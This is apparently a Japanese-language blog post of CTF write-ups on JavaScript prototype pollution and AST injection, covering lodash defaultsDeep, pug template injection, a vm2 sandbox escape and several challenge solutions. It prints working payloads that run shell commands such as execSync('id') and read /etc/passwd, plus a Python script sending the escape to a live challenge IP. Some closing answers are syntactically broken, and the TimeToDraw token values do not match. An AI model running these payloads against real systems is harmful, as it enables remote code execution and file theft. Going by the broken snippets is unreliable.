banner
raye~

Raye's Journey

且趁闲身未老,尽放我、些子疏狂。
medium
tg_channel
twitter
github
email
nintendo switch
playstation
steam_profiles

JSプロトタイプチェーン汚染とAST注入に関するいくつかの問題

先放一张原型链的图压压惊

image

redpwnctf 2019 blueprint#

機能分析#

ユーザーの作成#

userId は各ユーザーのクッキーとして使用されます

userId = makeId()

空のオブジェクト bpProto を作成しました:

const bpProto = {}

次に、flagBp というオブジェクトを作成し、content というプロパティを持ち、その値は flag で、各ユーザーには実際にフラグがあることを示しています。

const flagBp = {
  content: flag,
}
  • flagBpconstructor プロパティは新しいオブジェクトに設定され、この新しいオブジェクトには prototype というプロパティがあり、その値は bpProto です。
  • flagBp__proto__ プロパティも bpProto に設定されました。
flagBp.constructor = {prototype: bpProto}
flagBp.__proto__ = bpProto

最後に、ユーザーオブジェクトとして組み立てます

user = {
  bpProto,
  blueprints: {
    [makeId()]: flagBp,
  },
}

重要:

flagBp.__proto__ = bpProto

flagBpconstructor プロパティは新しいオブジェクトに設定され、このオブジェクトの prototype プロパティは bpProto です。この操作は flagBp のプロトタイプチェーンに影響を与えません。なぜなら、constructor プロパティはプロトタイプチェーンの検索に参加しないからです。

flagBp の [[Prototype]] プロパティ(つまり __proto__)は bpProto に設定されます。この操作は flagBp のプロトタイプチェーンを変更します。その後、flagBp に存在しないプロパティにアクセスしようとすると、JavaScript は bpProto オブジェクトでそのプロパティを検索します。

ノートの作成#

const mergeObj = {}
mergeObj.constructor = {prototype: user.bpProto}
mergeObj.__proto__ = user.bpProto
parsedBody = _.defaultsDeep(mergeObj, JSON.parse(body))

ノートの表示#

const blueprintId = makeId()
user.blueprints[blueprintId] = {
content: parsedBody.content,
public: parsedBody.public,
}

res.end(blueprintId)

lodash のプロトタイプチェーン汚染#

Lodash の _.defaultsDeep 関数では、攻撃者がソースオブジェクトを制御でき、Object.prototype への参照を含むようにすると、この関数を通じてプロトタイプチェーンを汚染できます。

例えば:

let user_input = { malicious_key: 'malicious_value' };
_.defaultsDeep({}, user_input);

user_input を制御でき、{ '__proto__': { malicious_key: 'malicious_value' } } に設定すると、すべてのオブジェクトの malicious_key プロパティが 'malicious_value' に設定されます(プロトタイプチェーンの検索ルールに従って)。

Lodash (4.17.21)で修正されましたが、コード内の Lodash バージョンは 4.17.21 未満です。

解題思路#

flagBp の二つのプロパティ、constructor.prototype__proto__ がどちらも bpProto を指しています。

したがって、flagBp.public プロパティはプロトタイプチェーンを上に探すしかなく、flagBp.__proto__bpProto を指しています。

flagBp.public -> flagBp.__proto__.public -> bpProto.prototype.public

では、どうやって bpProto.prototype を変更するのでしょうか?

ここに戻ります

const mergeObj = {}
mergeObj.constructor = {prototype: user.bpProto}
mergeObj.__proto__ = user.bpProto
parsedBody = _.defaultsDeep(mergeObj, JSON.parse(body))

マージの際に、次のようにできれば:

mergeObj.constructor.prototype.public = true
// または
mergeObj.__proto__.public = true

したがって、ペイロードは:

"constructor": {"prototype": {"public": true}}

考えてみてください、なぜ次のペイロードは機能しないのでしょうか?

"__proto__": {"public": true} // 試してみてください?

BambooFox CTF 2021 TimeToDraw#

プロトタイプチェーン汚染のポイントは:明らかな代入動作が存在することです。

app.get('/api/draw', (req, res) => {
    let { x, y, color } = req.query;
    if (x && y && color) canvas[x][y] = color.toString();
    res.json(canvas);
});

もし admin ユーザーであれば、トークンは secret.ADMIN_TOKEN ですが、私たちはそれを知りません。

この if に入らなければ、userData.token はプロトタイプチェーンを上に探すことになりますので、絶対に admin にならないでください!

if (req.signedCookies.user && req.signedCookies.user.admin === true) {
  userData.isGuest = false;
  userData.isAdmin = req.cookies.admin;
  userData.token = secret.ADMIN_TOKEN;
}

if (req.query.token && req.query.token.match(/[0-9a-f]{16}/)
    && hash(`${req.connection.remoteAddress}${req.query.token}`) === userData.token) {
  res.send(secret.FLAG);
} else {
  res.send("NO");
}

したがって、ペイロードは次のようになります:

const crypto = require('crypto');
const hash = (token) => crypto.createHash('sha256').update(token).digest('hex');

token = "12345678900000000";
hostname = "::ffff:127.0.0.1";
result = hash(hostname + token);
console.log(result); // 0571d35ff568c6faacaa8f931b66729b9bc12a2c1231b8dc8c57073f35c8b62f

まず、プロトタイプチェーンを汚染します:

http://localhost:3000/api/draw?x=__proto__&y=token&color=1cd6705c4f0df9b640deaa47c5510b7b8b4303acc3bf1e95670e975b889a6ce9

次に、フラグを取得します:

http://localhost:3000/flag?token=1234567890000000

結論:オブジェクトが存在しない可能性のあるプロパティにアクセスする際、プロトタイプチェーン汚染攻撃に非常に脆弱です。

HTB blitzprop#

ペイロード

{
       "song.name": "The Goose went wild", 
        "__proto__.block":{
            "type":"Text",
			"line":"process.mainModule.require('child_process').exec('cmd')"
		}
}

AST インジェクション + プロトタイプチェーン汚染#

詳細を理解する:
https://xz.aliyun.com/t/12635

AST を挿入してインジェクションを実現します。

image

pug AST インジェクション#

<!-- /node_modules/pug-code-gen/index.js -->

if (debug && node.debug !== false && node.type !== 'Block') {
    if (node.line) {
        var js = ';pug_debug_line = ' + node.line;
        if (node.filename)
            js += ';pug_debug_filename = ' + stringify(node.filename);
        this.buf.push(js + ';');
    }
}

インジェクション:

const pug = require('pug');

Object.prototype.block = {"type": "Text", "line": "console.log(process.mainModule.require('child_process').execSync('id').toString())"};

const source = `h1= msg`;

var fn = pug.compile(source, {});
console.log(fn.toString());

/*
function template(locals) {
    var pug_html = "",
        pug_mixins = {},
        pug_interp;
    var pug_debug_filename, pug_debug_line;
    try {;
        var locals_for_with = (locals || {});

        (function (console, msg, process) {;
            pug_debug_line = 1;
            pug_html = pug_html + "\u003Ch1\u003E";;
            pug_debug_line = 1;
            pug_html = pug_html + (pug.escape(null == (pug_interp = msg) ? "" : pug_interp));;
            pug_debug_line = console.log(process.mainModule.require('child_process').execSync('id').toString());
            pug_html = pug_html + "ndefine\u003C\u002Fh1\u003E";
        }.call(this, "console" in locals_for_with ?
            locals_for_with.console :
            typeof console !== 'undefined' ? console : undefined, "msg" in locals_for_with ?
            locals_for_with.msg :
            typeof msg !== 'undefined' ? msg : undefined, "process" in locals_for_with ?
            locals_for_with.process :
            typeof process !== 'undefined' ? process : undefined));;
    } catch (err) {
        pug.rethrow(err, pug_debug_filename, pug_debug_line);
    };
    return pug_html;
}
*/

簡単な pug エンジン#

次のコードは AST インジェクションの脆弱性がありますか?

// Step 1: 解析 - Pug構文をASTに解析します
function parse(pugCode) {
  let lines = pugCode.split('\n');
  let ast = lines.map((line, index) => {
    let match = /^(\s*)(\w+)(?:\s*(.*))?$/g.exec(line);
    if (match) {
      let indent = match[1].length;
      let tag = match[2];
      let type;
      let text = match[3] || "";
      if (text.startsWith("@")) {
        [type, text] = text.slice(1).split(' ');
      }
      return { indent, tag, type, text, line: index + 1 }; // ASTノードにタイプを追加
    } else {
      throw new Error(`Parsing error on line ${index + 1}`);
    }
  });
  return ast;
}

// Step 2: コンパイル - ASTをJavaScript関数に変換します
function compile(ast) {
  return function(context) {
    return ast.map(node => {
      try {
        let html = "<" + node.tag + ">";
        if (node.text.startsWith("#{") && node.text.endsWith("}")) {
          let varName = node.text.slice(2, -1);
          if (varName in context) {
            let content = context[varName];
            // ノードのタイプが 'uppercase' の場合、コンテンツを大文字に変換します
            if (node.type === 'uppercase') {
              content = content.toUpperCase();
            }
            html += content;
          } else {
            throw new Error(`Undefined variable: ${varName}`);
          }
        } else {
          html += node.text;
        }
        html += "</" + node.tag + ">";
        return html;
      } catch (error) {
        throw new Error(`Error rendering line ${node.line}: ${error.message}`);
      }
    }).join('\n');
  }
}

// Step 3: レンダリング - コンテキストオブジェクトを使用してコンパイルされた関数を実行し、HTMLを生成します
function render(templateFn, context) {
  try {
    return templateFn(context);
  } catch (error) {
    console.error(error.message);
    return null;
  }
}

// 使用例:
let pugCode = "p #{name}\n"; // これはPug構文です
pugCode += "div @uppercase Hello, #{name}";
let ast = parse(pugCode);
let templateFn = compile(ast);
let html = render(templateFn, { name: "John Doe" });
console.log(html);

babyjs#

const { NodeVM } = require("vm2");

let untrusted = `
( function () { let result = 'aaa';
  try {
    a = {};
    a.toString = function() {
      return {};
    }
    process.listeners(a);
  } catch(e) {
    result =
      e.constructor.constructor(
       "return this.process.mainModule.require('child_process').execSync('cat /etc/passwd')")().toString();
  }
return result; })();
`;

untrusted = "eval(`" + untrusted + "`)";

let vm = new NodeVM({
  // eval: false,
  wasm: false,
  wrapper: "none",
});

let result = "";

try {
  result = vm.run(`return ${untrusted}`);
} catch (err) {
  console.log(err);
  result = err.toString();
}
console.log(result);

最終的なスクリプトは次の通りです:

import requests

r = requests.post('http://175.27.159.126:10010/',
           data={
               'calc':
               """eval(`
( function () { let result = 'aaa';
  try {
    a = {};
    a.toString = function() {
      return {};
    }
    process.listeners(a);
  } catch(e) {
    result =
      e.constructor.constructor(
       "return this.process.mainModule.require('child_process').execSync('cat flag.txt')")().toString();
  }
return result; })();
`)"""
           })
print(r.headers)
print(r.text)

intigriti#

admin ユーザーを作成するにはどうすればよいですか?

image

重要なコード:

user = JSON.parse(req.body)
let newUser = Object.assign(baseUser, user)

しかし、私たちは完全に user を制御できるので、次の手順を実行できます:

{"__proto__":{"isAdmin":true},"inviteCode":"xxxxxxxxxx"}
>let user = JSON.parse('{"__proto__":{"isAdmin":true},"inviteCode":"xxxxxxxxxx"}')
>user.isAdmin // ? なぜ
 undefined
>user.__proto__.isAdmin
 true

答えは、JSON.parse() が JSON 文字列を解析する際、__proto__ プロパティはプロトタイプチェーンのように設定されないからです。JSON 文字列の解析はその内容に完全に基づいており、オブジェクトのプロトタイプチェーンを変更することはありません。つまり、JSON.parse()__proto__ をプロトタイプチェーンの指示として理解せず、単なる通常のプロパティとして処理します。

ペイロード

{"__proto__": {"isAdmin": True}, "user": "test", "inviteCode": 0}

noood#

問題の考察:フラグはルートディレクトリにあります、

flag{xxxxxx}

ソースコード:

const express = require('express');
const bodyParser = require('body-parser');
const fs = require('fs');
const path = require('path');
const app = express();
const config = {}

app.use(bodyParser.json());

app.post('/:lib/:f', (req, res) => {
    let jsonlib = require(req.params.lib);
    let valid = jsonlib[req.params.f](req.body);

    let p;
    if(config.path) {
        p = config.path;
    }

    let data = fs.readFileSync(p).toString();

    res.send({
        "validator": valid, 
        "data": data, 
        "msg": "data is corrupted"
    });
});

const PORT = process.env.PORT || 3000;
app.listen(PORT, () => {
    console.log(`Server is running on port ${PORT}`);
});

fs.readFileSync#

答えは「いいえ!」パラメータの問題です。

require エラー#

答え

require('../.../../flag')

vm#

答え

require('vm').runInNewContext(['this.constructor.constructor('return this.process'))().mainModule.require('fs').readFileSync('/flag').toString()'])

プロトタイプチェーン汚染#

答え

require('flat').unflatten({'__proto__.path'})
読み込み中...
文章は、創作者によって署名され、ブロックチェーンに安全に保存されています。